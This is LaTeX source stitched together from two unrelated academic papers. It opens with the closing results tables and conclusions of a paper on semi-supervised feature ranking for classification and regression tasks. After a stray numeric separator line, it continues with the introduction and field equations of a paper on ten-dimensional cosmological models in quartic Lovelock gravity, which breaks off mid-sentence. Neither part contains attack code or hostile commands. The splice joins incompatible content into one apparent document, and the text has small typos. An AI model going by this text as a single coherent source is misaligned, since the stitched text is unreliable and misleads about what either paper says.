or, most notably, for \texttt{pageblocs}.
\begin{table}[htbp]
\centering
\caption{The differences $\Delta$ of areas under the curves of $\operatorname{AU}\overline{\mbox{PRC}}${}-values of the $40$NN models whose distance weights base on SSL-ranking and SL-ranking.} \label{tab:mlc}%
\begin{tabular}{|c|l|rrrr|c|}
\hline
&datasets & \multicolumn{1}{l}{Genie3} & \multicolumn{1}{l}{RForest} & \multicolumn{1}{l}{Symbolic} & \multicolumn{1}{l|}{Relief} & CH\\
\hline
\multirow{6}{*}{\STAB{\rotatebox[origin=c]{90}{MLC}}} &
Bibtex & -0.115& -0.078& -0.100& -0.100& 0.02 \\
&Birds & 0.039 & 0.052 & 0.021 & 0.029 & 0.05 \\
&Emotions & 0.012 & 0.028 & 0.011 & 0.044 & 0.04 \\
&Genbase & 0.091 & 0.121 & 0.094 & 0.189 & 0.26 \\
&Medical & -0.067& 0.008 & -0.058& 0.014 & 0.04 \\
&Scene & 0.045 & 0.048 & 0.063 & 0.119 & 0.21 \\
\hline
\multirow{6}{*}{\STAB{\rotatebox[origin=c]{90}{HMLC}}} &
Clef07a-is & -0.097& -0.066& -0.102& -0.041& 0.05 \\
&Ecogen & -0.007& -0.003& -0.018& 0.051 & 0.03 \\
&Enron-corr & -0.068& -0.062& -0.023& -0.064& 0.03 \\
&Expr-yeast-fun & -0.090& -0.103& -0.086& -0.071& 0.00 \\
&Gasch1-yeast-FUN& -0.080& -0.087& -0.084& -0.096& 0.01 \\
&Pheno-yeast-FUN & -0.032& -0.031& -0.036& -0.029& 0.00 \\
\hline
\end{tabular}%
\end{table}%
Continuing with the results for MLC (the upper part of Tab.~\ref{tab:mlc}), we first see that CH values are rather low,
since, in contrast to the ARI values from classification, correction for chance is not incorporated into these CH values.
An exception to this are the \texttt{genbase} (see Figs.~\ref{fig:ssl-vs-sl:mlc:20} and \ref{fig:ssl-vs-sl:mlc:40}) and the \texttt{scene} dataset.
For both datasets, the SSL-versions of the rankings outperform their SL-analogs. This also holds for the \texttt{birds} and \texttt{emotions}
datasets, for all rankings, and additionally for the \texttt{medical} dataset in the case of Relief.
The bottom part of Tab.~\ref{tab:mlc} gives the results for HMLC datasets. One can notice that Asm.~\ref{lab:ch} is never satisfied (low CH values),
and that SSL-scores mostly could not overcome this, with the exception of Relief rankings on the \texttt{ecogen} dataset.
However, inspecting the corresponding curves in detail (Fig.~\ref{fig:ssl-vs-sl:hmlc:40}), reveals that the negative differences
in the performance of SSL-rankings and SL-rankings are mostly due to the bad start of SSL-rankings: For $L\geq 200$, the SSL-versions prevail.
\begin{table}[htbp]
\centering
\caption{The differences $\Delta$ of areas under the curves of RRMSE-values of the $40$NN models with distance weights based on SSL-rankings and SL-rankings.}\label{tab:r}
\begin{tabular}{|c|l|rrrrr|c|}
\hline
&datasets & \multicolumn{1}{l}{Genie3} & \multicolumn{1}{l}{RForest} & \multicolumn{1}{l}{Symbolic} & Relief & \multicolumn{1}{l|}{Laplace} & CH \\
\hline
\multirow{6}{*}{\STAB{\rotatebox[origin=c]{90}{STR}}} &
CHEMBL2850 & -0.047& -0.063& 0.014 &-0.092& -0.010& 0.09 \\
&CHEMBL2973 & -0.143& -0.103& -0.114&-0.168& -0.109& 0.18 \\
&Mortgage & 0.074 & 0.092 & 0.097 &0.078 & 0.120 & 0.57 \\
&Pol & 0.027 & 0.249 & 0.127 &-0.049& 0.278 & 0.12 \\
&QSAR & -0.347& -0.446& -0.442&-0.523& -0.262& 0.20 \\
&Treasury & 0.118 & 0.172 & 0.165 &0.155 & 0.215 & 0.54 \\
\hline
\multirow{7}{*}{\STAB{\rotatebox[origin=c]{90}{MTR}}} &
Atp1d & 0.048 & 0.024 & 0.048 &0.093 & & 0.49 \\
&CollembolaV2 & -0.048& -0.014& -0.010&-0.002& & 0.02 \\
&Edm1 & 0.002 & 0.018 & 0.004 &0.006 & & 0.23 \\
&Forestry-LIDAR-IRS& -0.115& -0.070& -0.101&-0.114& & 0.19 \\
&Oes10 & 0.083 & 0.084 & 0.083 &0.122 & & 0.63 \\
&Scm20d & -2.357& -2.317& -2.295&-2.281& & 0.16 \\
&Soil-quality & -0.044& -0.085& -0.080&-0.111& & 0.07 \\
\hline
\end{tabular}%
\end{table}%
We finish this section with the regression results. The upper part of Tab.~\ref{tab:r} shows that when CH is well-setisfied,
i.e., for the datasets \texttt{mortgage} and \texttt{treasury} (see Fig.~\ref{fig:ssl-vs-sl:str:40}), the SSL-rankings outperform the SL-rankings.
Moreover, this also holds for the \texttt{pol} data (except for the Relief rankings). Inspecting the datasets where negative values are present
(most notably the \texttt{qsar} dataset) reveals the same phenomenon as in HMLC case: for extremely low values of $L$, e.g., $L = 50$,
the SSL-rankings do not perform well, possibly because knowing the labels of $50$ out of approximately $2000$ examples simply does not suffice.
With more and more labels known, the performance of SSL-rankings drastically improves, while the performance of SL-rankings stagnates.
Finally, for $L\geq 200$ or $L\geq 350$, all SSL-rankings again outperform the SL-ones.
Similar findings hold for the MTR data and the results in the bottom part of Tab.~\ref{tab:r}. The SSL-rankings perform well from the very beginning
on the three datasets where CH holds the most, i.e., \texttt{oes10} (see Fig.~\ref{fig:ssl-vs-sl:mtr:40}), \texttt{atp1d}, and \texttt{edm1},
but can only catch up with the SL-rankings (and possibly outperform them) for larger values of $L$ in the other cases.
\subsection{Which SSL-ranking performs best?}
To answer this question, we compare the predictive performances of the corresponding $40$NN models and report their ranks in Tab.~\ref{tab:ranking-quality}.
The results reveal that, for majority of the tasks, ensemble-based rankings perform best, however, in some cases, the winners are not clear, e.g., in the case of the classification. Still, Symbolic ranking quite clearly outperforms the others on both regression tasks, STR and MTR.
To complement this analysis, we also compute the average ranks of the algorithms for their induction times.
\begin{table}[htbp]
\centering
\caption{The average ranks of different SSL-ranking algorithms that base on the performance of the
corresponding $40$NN models.}\label{tab:ranking-quality}%
\begin{tabular}{|l|rrrrr|}
\hline
task & \multicolumn{1}{l}{Genie3} & \multicolumn{1}{l}{Random Forest} & \multicolumn{1}{l}{Symbolic} & \multicolumn{1}{l}{Relief} & \multicolumn{1}{l|}{Laplace} \\
\hline
classification & 2.62 & 2.46 & 2.62 & \textbf{2.31} & \\
MLC & 3.00 & \textbf{2.17} & 2.50 & 2.33 & \\
HMLC & \textbf{2.00} & 2.83 & 2.50 & 2.67 & \\
STR & 3.00 & 3.33 & \textbf{1.83} & 4.17 & 2.67 \\
MTR & 2.57 & 2.57 & \textbf{1.71} & 3.14 & \\
\hline
\end{tabular}%
\end{table}%
As explained in Sec.~\ref{sec:best-ens}, for the ensemble-based rankings, RFs are always preferable in terms of speed.
They can still be outperformed by Relief if the number of features is higher and the number of examples is moderate, which follows directly
from the $\mathcal{O}$-values in Secs.~\ref{sec:times-ensemble} and \ref{sec:times-relief}. All these methods are implemented in the Clus system (Java), whereas our implementation of the Laplace score is, as mentioned before, Python-based (Scikit Learn and numpy).
Thus, even though Laplace and Relief have the same core operations (finding nearest neighbors), using higly-optimized Scikit Learn's methods (such as $k$NN) puts
Laplace at the first place, whereas Relief is (second but) last, for STR problems.
\begin{table}[ht]
\centering
\caption{The average ranks of different SSL-ranking algorithms in terms of their induction times.
Since the time complexity of ensemble-based rankings (almost) equals the induction time of the ensembles,
we report the latter. For each task, we show the ranks for both extreme values of $L$.}
\begin{tabular}{|c|r|rrrrr|}
\hline
task & \multicolumn{1}{c|}{$L$} & \multicolumn{1}{l}{RFs} & \multicolumn{1}{l}{ETs} & \multicolumn{1}{l}{bagging} & \multicolumn{1}{l}{Relief} & \multicolumn{1}{l|}{Laplace} \\
\hline
\multirow{2}[2]{*}{classification} & 50 & \textbf{1.15} & 2.46 & 3.15 & 3.23 & \\
& 500 &\textbf{ 1.31} & 2.69 & 3.54 & 2.46 & \\
\hline
\multirow{2}[2]{*}{MLC} & 50 & 1.67 & 3.50 & 3.33 & \textbf{1.50} & \\
& 500 & 2.00 & 3.00 & 3.67 & \textbf{1.33} & \\
\hline
\multirow{2}[2]{*}{HMLC} & 50 & \textbf{1.17} & 2.83 & 3.17 & 2.83 & \\
& 500 & \textbf{1.33} & 3.00 & 3.50 & 2.17 & \\
\hline
\multirow{2}[2]{*}{STR} & 50 & 2.17 & 3.50 & 3.83 & 4.50 & \textbf{1.00} \\
& 500 & 2.67 & 3.17 & 4.67 & 3.50 & \textbf{1.00} \\
\hline
\multirow{2}[2]{*}{MTR} & 50 & \textbf{1.86} & 2.29 & 3.71 & 2.14 & \\
& 500 & \textbf{1.71} & 2.43 & 3.71 & 2.14 & \\
\hline
\end{tabular}%
\label{tab:times:all}%
\end{table}%
\section{Conclusions}\label{sec:conclusions}
In this work, we focus on \textbf{semi-supervised learning of feature ranking}. The feature rankings are learned in the context of simple (single-target) classification and regression as well as in the context of structured output prediction (multi-label classification, hierarchical multi-label classification and multi-target regression). This is the first work that treats the task of feature ranking within the semi-supervised structured output prediction - it treats all the different prediction tasks in an unified way.
We propose, develop and evaluate \textbf{two approaches for SSL feature ranking for SOP} based on tree ensembles and the Relief family of algorithms. The tree ensemble-based rankings can be learned using three ensemble learning methods (Bagging, Random Forests, Extra Trees) coupled with three scoring functions (Genie3, Symbolic and random forest scoring). The Relief-based rankings use the regression variant of the Relief algorithm for extension towards the SOP tasks. This is the first extension of a Relief algorithm towards semi-supervised learning.
An \textbf{experimental evaluation of the proposed methods is carried out on 38 benchmark datasets} from the five machine learning tasks: 13 from classification, 6 from multi-label classification, 6 from hierarchical multi-label classification, 6 from regression and 7 from multi-target regression. Whenever available, we compared the performance of the proposed methods to the performance of state-of-the-art methods. Furthermore, we compared the performance of the semi-supervised feature ranking methods with their supervised counterparts.
The results from the extensive evaluation are best summarized through the answers of the research questions:
\begin{enumerate}
\item {\emph{For a given ensemble-based feature ranking score, which ensemble method is the most appropriate?}\\
Generally, Random Forests perform the best for the classification-like tasks (classification, muilti-label classification and hierarchical multi-label classification), while for the regression-like tasks (regression, multi-target regression) Extra-PCTs perform the best. Furthermore, across all tasks, Random Forests are the most efficient method considering induction times.}
\item {\emph{Are there any qualitative differences between the semi-supervised and supervised feature rankings?}\\
The semi-supervised rankings tend to capture a more global picture of the data, whereas the supervised ones reflect a more local one.}
\item {\emph{Can the use of unlabeled data improve feature ranking?}\\
Semi-supervised feature rankings outperform their supervised counterpart across a majority of the datasets from the different tasks.}
\item {\emph{Which feature ranking algorithm performs best?}\\
Different SSL feature ranking methods perform the best for the different tasks: Symbolic ranking is the best for the regression and multi-target regression, Random forest ranking for multi-label classification, Genie3 for hierarchical multi-label classification, and Relief for classification.}
\end{enumerate}
\begin{acknowledgements}
The computational experiments presented here were executed on a computing infrastructure from the Slovenian Grid (SLING) initiative, and we thank the administrators Barbara Kra\v{s}ovec and Janez Srakar for their assistance.
\end{acknowledgements}
\bibliographystyle{apalike}
|
1,477,468,750,006 | arxiv | \section*{I. Introduction}
The mathematical background for a non-linear Lagrangian theory
of gravity was first formulated by Lovelock$^{1}$,
who proposed that the most general gravitational Lagrangian is
$$
{\cal L} = \sqrt {-g} \sum_{m=0}^{n/2} \lambda_{(m)} {\cal L}_{(m)}
\eqno (1.1)
$$
where $\lambda_{(m)}$ are coupling constants, $n$ denotes the manifold's
dimensions, $g$ is the determinant of the metric tensor and
${\cal L}_{(m)}$ are functions of the Riemann curvature tensor,
of the form
$$
{\cal L}_{(m)} = {1 \over 2^m} \delta_{\alpha_1 ...
a_{2m}}^{\beta_1 ... \beta_{2m}} \;
{\cal R}_{\beta_1 \beta_2}^{\alpha_1 \alpha_2} \: ... \:
{\cal R}_{\beta_{2m-1} \beta_{2m}}^{\alpha_{2m-1} \alpha_{2m}}
\eqno (1.2)
$$
where $\delta_{\beta}^{\alpha}$ is the Kronecker symbol, ${\cal L}_{(0)}$ is
the volume $n$-form which gives rise to the cosmological constant,
${\cal L}_{(1)} = {1 \over 2} {\cal R}$ is the Einstein-Hilbert (EH)
Lagrangian and ${\cal L}_{(2)}$ is the quadratic Gauss-Bonnett (GB)
combination$^{2}$. Euler variation of the gravitational action
corresponding to Eq.(1.1) yields the most general symmetric and
divergenceless tensor, which describes the propagation of the
gravitational field and depends only on the metric and its first and
second order derivatives$^{1}$.
While quadratic Lagrangians have been widely studied (e.g. see
Refs. [3,4] and references therein), cubic and/or quartic
Lagrangians only recently have been introduced in the discussion of
cosmological models in the framework of superstring
theories$^{5-10}$. The reason is that, it is very hard to derive
and (even harder) to solve the corresponding field equations. In
this case, solutions may be obtained only through certain numerical
techniques$^{11,12}$, where the idea of "{\em attractor}" plays a
central role$^{13}$: If some special spacetime is the attractor for
a wide range of initial conditions, such a spacetime is naturally
realized asymptotically. Since the ten-dimensional superstring
theory is a candidate for a realistic unified theory, it is very
important to investigate whether a similar attractor exists in this
theory.
In the present paper we integrate numerically the field equations,
resulting from a quartic gravitational Lagrangian, to obtain
anisotropic, ten-dimensional cosmological models. The spacetime
consists of one time direction and two maximally symmetric
subspaces, FRW$\otimes$FRW: The {\em external space}, representing
the ordinary Universe and the {\em internal} one, constituted by
the extra dimensions. The internal space is a compact manifold of
very small {\em "physical size"} with respect to that of the
{\em "visible"} space at the present epoch$^{14,15}$. Since, on the
other hand, at the origin the two subspaces were of comparable
physical size, the internal one must have somehow been contracted
towards a static value of the order of Planck length,
$l_{Pl} \sim 10^{-33} cm$, to achieve {\em "spontaneous
compactification"}$^{16}$. Compactification is a topological process
of quantum origin, which leads to the separation of the extra
dimensions from the ordinary ones$^{17}$. In what follows
we consider models of an already compactified internal space,
i.e. we study only its contraction.
In Section II we derive the explicit form of the field equations for
a quartic theory in ten dimensions, in which both subspaces are
filled with an anisotropic fluid. In Section III we solve
numerically the field equations, for a wide range of initial
conditions and for several values of the "{\em free}" parameters
involved, as regards {\bf (1)} vacuum models of flat subspaces
and {\bf (2)} perfect fluid models of positively curved subspaces.
Next, we carry out a dynamical study in the $H_{ext} - H_{int}$
plane, where each $H_j$ represents the Hubble parameter of the
corresponding subspace. Accordingly, we confirm the existence
of attracting points and investigate their evolution with respect
to the variation of the coupling constants $\lambda_{(m)}$. The
explicit time-dependence of the unknown scale functions may be
subsequently determined by solving the linearized field equations
around these attracting points. The corresponding analysis is
presented in Section IV.
\section*{II. The field equations in a quartic gravity theory}
We consider a ten-dimensional line element, representing
cosmological models which consist of two homogeneous and isotropic
factor spaces, of the form
$$
ds^2 \; = \; - \: dt^2 \; + \; R^2(t) \: {\sum_{i=1}^3
\left ( dx^i \right )^2 \over 1 \: + \: {1 \over 4} k_{ext}
\: \sum_{i=1}^3 \left ( x^i \right )^2}
\; + \; S^2(t) \: {\sum_{j=4}^9 \left ( dx^j \right )^2
\over 1 \: + \: {1 \over 4} k_{int} \: \sum_{j=4}^9
\left ( x^j \right )^2}
\eqno (2.1)
$$
where $\hbar = 1 = c$, $R(t)$ and $S(t)$ are the cosmic scale
functions of the external and the internal space respectively,
$k_{ext} = -1, 0, +1$ is the curvature parameter of the
{\em "ordinary"} space and $k_{int} = 0, +1$ is the corresponding
parameter of the internal one. Therefore, the extra dimensions may
be compactified either in a six-dimensional sphere, for
$k_{int} = +1$, or in a six-dimensional torus, for $k_{int} = 0$.
The spatial section of the metric (2.1) can be viewed as the direct
product of two FRW models with three and six dimensions
respectively$^{6}$. These models may be obtained through Hamilton's
principle, from a ten-dimensional action in which the gravitational
part is of the form
$$
I \; = \; {1 \over V_{int}} \: \int \: \sqrt {-g}
\left [ \lambda_{(0)} {\cal L}_{(0)}
+ \lambda_{(1)} {\cal L}_{(1)} + \lambda_{(2)} {\cal L}_{(2)}
+ \lambda_{(3)} {\cal L}_{(3)}
+ \lambda_{(4)} {\cal L}_{(4)} \right ] \: d^{10} x
\eqno (2.2)
$$
where each of ${\cal L}_{(m)}$ is given by Eq.(1.2), $\lambda_{(m)}$ are
the corresponding coupling constants and $V_{int}$ is a
normalization constant$^{18}$, corresponding to the {\em "physical
size volume"} of the internal space, once it may be considered
static$^{3}$. The field equations read
$$
{\cal L}_{\mu \nu} \; = \; -\: 8 \pi G_{10} \: T_{\mu \nu}
\eqno (2.3)
$$
where ${\cal L}_{\mu \nu}$ is the Lovelock tensor up to the fourth
order in curvature (Greek indices refer to the ten-dimensional
spacetime)$^{1}$ and $G_{10} = G \: V_{int}$ is the ten-dimensional
gravitational constant$^{19}$. $T_{\mu \nu}$ is the energy-momentum
tensor of an anisotropic perfect fluid source, of the form
$T_{\mu \nu} = diag \: (\rho, -p_{ext},..., -p_{int},...)$,
where $\rho$ is the total mass-energy density, while $p_{ext}$ and
$p_{int}$ are the pressures associated to each factor space,
separately. For the metric (2.1) Eq.(2.3) is decomposed into three
independent equations of the form (cf. Ref. [9])
\begin{eqnarray}
16 \pi G_{10} \: \rho &=& \lambda_{(0)} + 6 \lambda_{(1)}
\left [ P + 5 Q + 6 ( {\dot{R} \over R } )
( {\dot{S} \over S } ) \right ] \nonumber \\
&+& 72 \lambda_{(2)} \left [ 5 Q^2 + 5 P Q + 10 ( {\dot{R} \over R } )^2
( {\dot{S} \over S } )^2
+ 2 P ( {\dot{R} \over R } ) ( {\dot{S} \over S } )
+ 20 Q ( {\dot{R} \over R} )
( {\dot{S} \over S } ) \right ] \nonumber \\
&+& 720 \lambda_{(3)} \left [ Q^3 + 8 ( {\dot{R} \over R} )^3
( {\dot{S} \over S} )^3
+ 9 P Q^2 +
18 Q^2 ( {\dot{R} \over R } ) ( {\dot{S} \over S } )
+ 12 P Q ( {\dot{R} \over R })
( {\dot{S} \over S } ) \right . \nonumber \\
&+& \left . 36 Q ( {\dot{R} \over R } )^2
( {\dot{S} \over S } )^2 \right ]
+ 17280 \lambda_{(4)} \left [ P Q^3 \right . \nonumber
\end{eqnarray}
$$
\left . + \; \; \; 6 Q^2 ( {\dot{R} \over R } )^2
({\dot{S} \over S } )^2 +
6 P Q^2 ( {\dot{R} \over R } ) ( {\dot{S} \over S } ) +
8 Q ( {\dot{R} \over R } )^3
( {\dot{S} \over S } )^3 \right ] \; \; \; \;
\eqno (2.4a)
$$
\begin{eqnarray}
-16 \pi G_{10} \: p_{ext} &=& \lambda_{(0)} + 2 \lambda_{(1)}
\left [ P + 15 Q +
12 ( {\dot{R} \over R } ) ({\dot{S} \over S }) +
2 ( {\ddot{R} \over R } )
+ 6 ( {\ddot{S} \over S } ) \right ] \nonumber \\
&+& 24 \lambda_{(2)} \left [ 15 Q^2 + 10 ( {\dot{R} \over R } )^2
( {\dot{S} \over S } )^2 +
5 P Q + 40 Q ( {\dot{R} \over R } ) ( {\dot{S} \over S } ) +
20 Q ( {\ddot{S} \over S } ) \right . \nonumber \\
&+& \left . 2 P ( {\ddot{S} \over S } )
+ 10 Q ( {\ddot{R} \over R } ) + 20 ( {\ddot{S} \over S } )
( {\dot{R} \over R } ) ( {\dot{S} \over S } )
+ 4 ( {\ddot{R} \over R } )
( {\dot{R} \over R } ) ( {\dot{S} \over S } ) \right ] \nonumber \\
&+& 720 \lambda_{(3)} \left [ Q^3 + 3 Q^2 P
+ 12 Q^2 ( {\dot{R} \over R } )
( {\dot{S} \over S } ) + 6 Q^2 ( {\ddot{S} \over S } )
+ 6 Q^2 ({\ddot{R} \over R } ) \right . \nonumber \\
&+& \left . 12 Q ( {\dot{R} \over R } )^2 ( {\dot{S} \over S } )
+ 4 P Q ( {\ddot{S} \over S } ) + 8 ( {\ddot{S} \over S } )
( {\dot{R} \over R } )^2 ( {\dot{S} \over S } )^2
+ 24 Q ( {\ddot{S} \over S } ) ( {\dot{R} \over R } )
( {\dot{S} \over S } )
\right . \nonumber \\
&+& \left . 8 Q ( {\ddot{R} \over R } ) ( {\dot{R} \over R } )
( {\dot{S} \over S } ) \right ] + 5760 \lambda_{(4)} \left [ 2 Q^3
( {\ddot{R} \over R } ) \right . \nonumber \\
&+& 12 Q^2 ( {\ddot{S} \over S } ) ( {\dot{R} \over R } )
( {\dot{S} \over S } ) + 12 Q^2 ( {\ddot{R} \over R } )
( {\dot{R} \over R } )
( {\dot{S} \over S } ) + 6 P Q^2 ( {\ddot{S} \over S } ) \nonumber
\end{eqnarray}
$$
+ \; \; \left . 24 Q ( {\ddot{S} \over S } )
( {\dot{R} \over R } )^2 ( {\dot{S} \over S } )^2 +
P Q^3 + 6 Q^2 ( {\dot{R} \over R } )^2
( {\dot{S} \over S } )^2 \right ] \; \;
\eqno (2.4b)
$$
\begin{eqnarray}
-16 \pi G_{10} \: p_{int} &=& \lambda_{(0)}
+ 2 \lambda_{(1)} \left [ 3 P + 10 Q + 15 ( {{\dot R} \over R} )
( {{\dot S} \over S} ) + 3 ( {{\ddot R} \over R} )
+ 5 ( {{\ddot S} \over S} ) \right ] \nonumber \\
&+& 24 \lambda_{(2)} \left [ 5 Q^2 + 20 ( {{\dot R} \over R} )^2
( {{\dot S} \over S} )^2
+ 10 P Q + 5 P ( {{\dot R} \over R} ) ( {{\dot S} \over S} ) +
P ( {{\ddot R} \over R} ) \right . \nonumber \\
&+& \left . 30 Q ( {{\dot R} \over R} ) ( {{\dot S} \over S} )
+ 10 Q ( {{\ddot R} \over R} ) + 5 P ( {{\ddot S} \over S} )
+ 10 Q ( {{\ddot S} \over S} ) + 10 ( {{\ddot R} \over R} )
( {{\dot R} \over R})
( {{\dot S} \over S} ) \right . \nonumber \\
&+& \left . 20 ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )
( {{\dot S} \over S} ) \right ] \nonumber \\
&+& 720 \lambda_{(3)} \left [ 4 ( {{\dot R} \over R} )^3
( {{\dot S} \over S} )^3
+ 3 P Q^2 + 3 Q^2 ( {{\dot R} \over R} ) ( {{\dot S} \over S} )
+ 3 Q^2 ( {{\ddot R} \over R} ) \right . \nonumber \\
&+& \left . 2 Q^2 ( {{\ddot S} \over S} )
+ 6 P Q ( {{\dot R} \over R} ) ( {{\dot S} \over S} )
+ 12 Q ( {{\dot R} \over R} )^2 ( {{\dot S} \over S} )^2
+ 2 P Q ( {{\ddot R} \over R} ) \right . \nonumber \\
&+& \left . 6 P Q ( {{\ddot S} \over S} )
+ 4 ( {{\ddot R} \over R} ) ( {{\dot R} \over R} )^2
( {{\dot S} \over S} )^2
+ 12 ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )^2
( {{\dot S} \over S} )^2
+ 4 P ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )
( {{\dot S} \over S} )
\right . \nonumber \\
&+& \left . 12 Q ( {{\ddot R} \over R} ) ( {{\dot R} \over R} )
( {{\dot S} \over S } )
+ 12 Q ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )
( {{\dot S} \over S} ) \right ] \nonumber \\
&+& 5760 \lambda_{(4)} \left [ 6 Q^2 ( {{\ddot R} \over R} )
( {{\dot R} \over R} )
( {{\dot S} \over S} ) + 3 P Q^2 ( {{\ddot S} \over S} )
+ 12 Q ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )^2
( {{\dot S} \over S} )^2 \right . \nonumber \\
&+& \left . 12 P Q ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )
( {{\dot S} \over S} )
+ 3 P Q^2 ( {{\dot R} \over R} ) ( {{\dot S} \over S} )
+ 4 Q ( {{\dot R} \over R} )^3 ( {{\dot S} \over S} )^3 \right . \nonumber
\end{eqnarray}
$$
+ \left . 3 P Q^2 ( {{\ddot R} \over R} )
+ 12 Q ( {{\ddot R} \over R} ) ( {{\dot R} \over R} )^2
( {{\dot S} \over S} )^2
+ 8 ( {{\ddot S} \over S} ) ( {{\dot R} \over R} )^3
( {{\dot S} \over S} )^3 \right ]
\eqno (2.4c)
$$
where an overdot denotes derivative with respect to time and we have
set
$$
P = ( {{\dot R} \over R} )^2 + {k_{ext} \over R^2} \; \; , \; \;
Q = ( {{\dot S} \over S} )^2 + {k_{int} \over S^2}
\eqno (2.5)
$$
Since the Lovelock tensor is divergenceless,
${\cal L}_{ \; \; ; \nu}^{\mu \nu} = 0$,
we obtain the conservation law $T_{ \; \; ; \nu}^{\mu \nu} = 0$,
which gives
$$
{\dot \rho} \; + \; 3 \left ( \rho \: + \: p_{ext} \right )
{{\dot R} \over R} \;
+ \; 6 \left ( \rho \: + \: p_{int} \right )
{{\dot S} \over S} = 0
\eqno (2.6)
$$
Further inspection of the system of Eqs. (2.4) and (2.6) shows that
only three of them are truly independent. Thus, the problem is
completely determined by those, plus the two equations of state for
the matter content, one for each subspace$^{17}$. In the present
article we consider two cases with regard to the energy-momentum
tensor: {\bf (a)} Vacuum models, $\rho = 0$, in connection to flat
spatial sections $( k_{ext} = 0 = k_{int} )$ and {\bf (b)} Models
of an heterotic superstring gas$^{20}$, $p_{ext} = {1 \over 3} \rho $
and $p_{int} = 0$, in connection to possitively curved spatial
sections $(k_{ext} = 1 = k_{int})$. In the later case, the
conservation law (2.6) gives
$$
\rho \; = \; {M \over R^4 \: S^6} \eqno (2.7)
$$
where M is an integration constant. Thus, the external space is
radiation dominated$^{9,11,20}$.
In principle, we may integrate the system of Eqs. (2.4) and (2.6)
to obtain the form of the unknown scale functions. However this is
not an easy task, even in the most simple and symmetric cases$^{9}$.
Nevertheless, we may get a good estimation of their dynamic behaviour
through numerical integration$^{11}$.
Once the two equations of state are determined, Eq.(2.6) may be
readily solved to give the unknown energy density and pressures,
as functions of $R(t)$ and $S(t)$. These expressions are subsequently
introduced in the r.h.s. of Eqs.(2.4). Now, only two of these
equations are truly independent. The third one corresponds to a
{\em constraint}, to be satisfied by the solutions of the system.
As such, we choose Eq.(2.4$a$). The remaining
independent field equations (2.4$b$) and (2.4$c$) may be recast in
the form of a first order system (see also [11]), as follows
$$
{\dot H}_{ext} = G_1 \: \left ( H_{ext}\, , \; H_{int} \, ,
\; X \, , \; Y \right )
\eqno (2.8a)
$$
$$
{\dot H}_{int} = G_2 \: \left ( H_{ext}\, ,
\; H_{int} \, , \; X \, , \; Y \right )
\eqno (2.8b)
$$
$$
{\dot X} = - \: X \: H_{ext} \eqno (2.8c)
$$
$$
{\dot Y} = - \: Y \: H_{int} \eqno (2.8d)
$$
where we have set
$$
H_{ext} = {{\dot R} \over R} \; , \; \; H_{int} = {{\dot S} \over S}
\; , \; \; X^2 = {k_{ext} \over R^2} \; , \; \; Y^2 = {k_{int}
\over S^2}
\eqno (2.9)
$$
and the explicit forms of the functions $G_1$ and $G_2$ are given
in the Appendix A.
Finally, it is convenient to make a parameter rescaling in the
field equations, of the form
$$
\kappa_m \; = \; {\lambda_{(m)} \over \lambda_{(1)}} \; , \; \; m \:
= \: 0, \, 1, \, 2, \, 3, \, 4
\eqno (2.10)
$$
where $\lambda_{(1)} = (16 \pi G)^{-1}$ is the coupling constant in the
four-dimensional General Relativity (GR). The value of the
normalized coupling constants, $\kappa_m$ $(\kappa_m \leq 1)$, is directly
proportional to the contribution in the field equations of the
corresponding $m-th$ order non-linear term, with respect to the
results obtained in the EH cosmology. Clearly, $\kappa_1 = 1$.
\section*{III. Numerical Results}
We integrate numerically the system of Eqs.(2.8). The constraint
(2.4$a$) is checked to be satisfied with an accuracy of $10^{-10}$
along integration. The initial conditions $H_0^{ext}, \;
H_0^{int}, \; X_0, \; Y_0$ are chosen so that: {\bf (a)} $X_0
= Y_0$, i.e. at the origin, the two factor spaces are separated,
but of the same "physical size"$^{16}$. {\bf (b)}
$H_0^{ext} > 0$, i.e. initially the ordinary space expands, in
accordance to what we observe at the present epoch$^{12,21}$.
{\bf (c)} $H_0^{int} < 0$, i.e. at the origin, the internal space
contracts, in correspondance to "spontaneous compactification"
$^{12,16,17,21}$. The cases where either $H_0^{ext} < 0$ or
$H_0^{int} > 0$ are not permitted, since the constraint equation
is not satisfied. Nevertheless, the case where both conditions
$H_0^{ext} < 0$ and $H_0^{int} > 0$ are valid is acceptable by
numerical analysis. Actually, it corresponds to the
time-reversed solution of the system (2.8).
The time coordinate is measured in dimensionless units, being
normalized with respect to the Planck time, $\tau = t/t_{Pl}$
($t_{Pl} = \sqrt {G} \sim 10^{-43} sec$). The limits of numerical
integration range from $\tau = 0$ to $\tau = 10^5$. The upper limit
coincides with the origin of the GUT epoch$^{21}$, $t_{GUT} = 10^5
\: t_{Pl}$, corresponding to the end of the string regime$^{22}$.
However we have to point out that, although the origin of the time
coordinate is set at $\tau = 0$, the equations (2.8) may not be valid
in the region $0 < \tau \leq 1$ since, in the absence of a quantum
gravity theory, there is always a region of ambiguity around
$t = 0$, of the order of Planck time$^{23-25}$.
The solution of the system (2.8) may be represented as curves in the
$H_{ext}-H_{int}$ plane. Any point located on these curves always
satisfies the constraint condition (2.4$a$). Thus, the curves
actually represent {\em "orbits"} of the dynamical system under
study. Each curve, corresponding to a different set of initial
conditions, is bounded by fixed points (or infinities) and
represents a different type of evolution for the Universe.
In what follows, we focus attention on the existence and the
evolution of attracting points in the $H_{ext}-H_{int}$ plane.
The reason rests in the physical meaning of the {\em attractor:}
No matter what the behaviour of a cosmological model at the origin
might be, it will always end up to evolve as indicated by the
location of the attracting point in the $H_{ext}-H_{int}$ plane.
\subsection*{(1) Vacuum models with spatially flat subspaces}
We study the evolution of vacuum ten-dimensional cosmological
models, with metric of the form (2.1), in which both subspaces
are spatially flat, i.e. $k_{ext} = 0 = k_{int}$. Thus, $X=0=Y$.
The first case to study are the GB models (see also Refs. [11,12]).
In this case, $\kappa_2 = 1$ and $\kappa_0 = 0 = \kappa_3 = \kappa_4$. The
non-linear curvature contributions to the field equations come out
from the quadratic terms alone. The time evolution of the Hubble
parameters is presented in Fig. 1a. We see that both parameters
evolve to approach constant values in the later stages. This
situation verifies the existence of attracting points in the
$H_{ext}-H_{int}$ plane during the evolution of the Universe.
Therefore, for a wide range of initial conditions, both subspaces
will end up to evolve as De Sitter spaces, in complete
correspondence to the results of Ishihara$^{12}$.
We also observe that $H_{ext} > 0$ and $H_{int} < 0$. Therefore,
while the internal space contracts exponentially to achieve
